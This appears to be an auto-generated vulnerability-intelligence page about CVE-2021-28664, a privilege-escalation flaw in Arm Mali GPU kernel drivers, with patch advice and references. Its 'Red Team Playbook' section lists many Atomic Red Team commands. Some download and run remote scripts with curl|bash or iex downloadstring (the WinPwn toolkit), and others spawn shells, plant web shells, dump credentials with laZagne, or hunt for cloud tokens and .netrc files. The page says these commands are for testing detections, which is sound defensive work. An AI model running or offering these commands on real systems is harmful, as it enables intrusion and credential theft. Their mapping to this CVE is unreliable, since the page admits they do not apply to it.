CVE-2021-28664
Overview
This vulnerability is a memory corruption flaw in the Arm Mali GPU kernel driver, specifically involving improper access control to memory pages. The root cause is that unprivileged users can obtain read/write permissions on pages intended to be read-only due to flawed kernel driver handling. The affected components include the Bifrost, Valhall, and Midgard GPU kernel driver versions within specified revision ranges prior to certain patch levels.
Vulnerability Description
The Arm Mali GPU kernel driver allows privilege escalation or a denial of service (memory corruption) because an unprivileged user can achieve read/write access to read-only pages. This affects Bifrost r0p0 through r29p0 before r30p0, Valhall r19p0 through r29p0 before r30p0, and Midgard r8p0 through r30p0 before r31p0.
Impact
An attacker with low-level user privileges can exploit this vulnerability to gain elevated kernel privileges or cause system instability through memory corruption. This enables full control over the affected device, including executing arbitrary code at the kernel level or causing denial of service by crashing the system. No authentication or special user interaction is required beyond local access, making it a critical threat to device confidentiality, integrity, and availability.
Solution
Arm has released security updates addressing this vulnerability in the Mali GPU kernel driver. Users should apply the patches available for Bifrost, Valhall, and Midgard GPU drivers at or beyond r30p0 and r31p0 revisions respectively. Detailed patch instructions and advisory information are available at https://developer.arm.com/support/arm-security-updates and the Mali GPU kernel driver security update page at https://developer.arm.com/support/arm-security-updates/mali-gpu-kernel-driver. Applying these updates is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Arm Mali GPU kernel driver is characterized by a significant flaw that allows unprivileged users to gain unauthorized read/write access to memory pages that are intended to be read-only. This issue arises from improper handling of memory permissions within the driver, affecting several versions of the Bifrost, Valhall, and Midgard architectures. The kernel driver’s failure to enforce strict access controls can lead to privilege escalation, enabling attackers to manipulate system memory in ways that could compromise the integrity and confidentiality of the system. Additionally, this vulnerability can result in memory corruption, potentially leading to a denial of service, where legitimate users are unable to access critical system resources.
Exploitation of this vulnerability can occur through various attack vectors. An unprivileged user, who may already have access to the system, can leverage the flaw to execute arbitrary code with higher privileges. This could be done through specially crafted applications or scripts that interact with the GPU driver. For instance, an attacker could create a malicious application that exploits the memory access flaw to overwrite critical data structures in the kernel, leading to unauthorized access to sensitive information or the execution of malicious payloads. Furthermore, the ability to manipulate memory could enable attackers to crash the system or disrupt services, resulting in a denial of service condition.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Arm-based devices for critical applications. The potential for privilege escalation poses a direct threat to the security posture of affected systems, allowing attackers to gain control over sensitive data and system functions. This could lead to data breaches, loss of intellectual property, and significant financial repercussions. Additionally, the denial of service aspect could disrupt business operations, leading to downtime and loss of productivity. For organizations in sectors such as finance, healthcare, and telecommunications, where data integrity and availability are paramount, the risks associated with this vulnerability are particularly pronounced.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular updates and patches from Arm should be applied promptly to ensure that affected systems are protected against known exploits. Additionally, employing intrusion detection systems (IDS) can help identify anomalous behavior indicative of exploitation attempts. Organizations should also conduct regular security assessments and penetration testing to evaluate their defenses against potential exploitation scenarios. Furthermore, implementing strict access controls and user privilege management can minimize the risk of unprivileged users exploiting vulnerabilities within the GPU driver.
In conclusion, the vulnerability within the Arm Mali GPU kernel driver represents a critical security concern that can lead to privilege escalation and denial of service. The potential for exploitation through various attack vectors highlights the need for organizations to remain vigilant in their cybersecurity practices. By adopting comprehensive detection and mitigation strategies, businesses can safeguard their systems against the risks posed by this vulnerability and maintain the integrity of their operations. As the threat landscape continues to evolve, proactive measures will be essential in defending against emerging vulnerabilities and ensuring robust security for Arm-based devices.
Recent CSURFACE threat intelligence indicates a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-28664, reflecting a growing likelihood of exploitation attempts. Although no new exploit techniques or ransomware associations have been identified, the upward trend in EPSS suggests heightened interest or scanning activity targeting vulnerable Arm Mali GPU drivers. This shift underscores a subtle but meaningful change in the threat environment, signaling that adversaries may be probing for opportunities to leverage this vulnerability for privilege escalation or denial of service. For defenders, this evolving risk profile necessitates continued vigilance in monitoring and detection, as the increased EPSS score correlates with a greater probability of exploitation attempts in the near term. While the overall threat level remains high due to the vulnerability’s inherent severity, the recent trend elevates the urgency for maintaining robust security controls around affected Arm-based systems.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Arm | Bifrost Gpu Kernel Driver | All |
cpe:2.3:a:arm:bifrost_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Midgard Gpu Kernel Driver | All |
cpe:2.3:a:arm:midgard_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Valhall Gpu Kernel Driver | All |
cpe:2.3:a:arm:valhall_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-28664 |
| developer.arm.com |
GitHub CVE
|
https://developer.arm.com/support/arm-security-updates |
| developer.arm.com |
GitHub CVE
|
https://developer.arm.com/support/arm-security-updates/mali-gpu-kernel-driver |
| developer.arm.com |
GitHub CVE
|
https://developer.arm.com/Arm%20Security%20Center/Mali%20GPU%20Driver%20Vulnerabilities |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-28664 |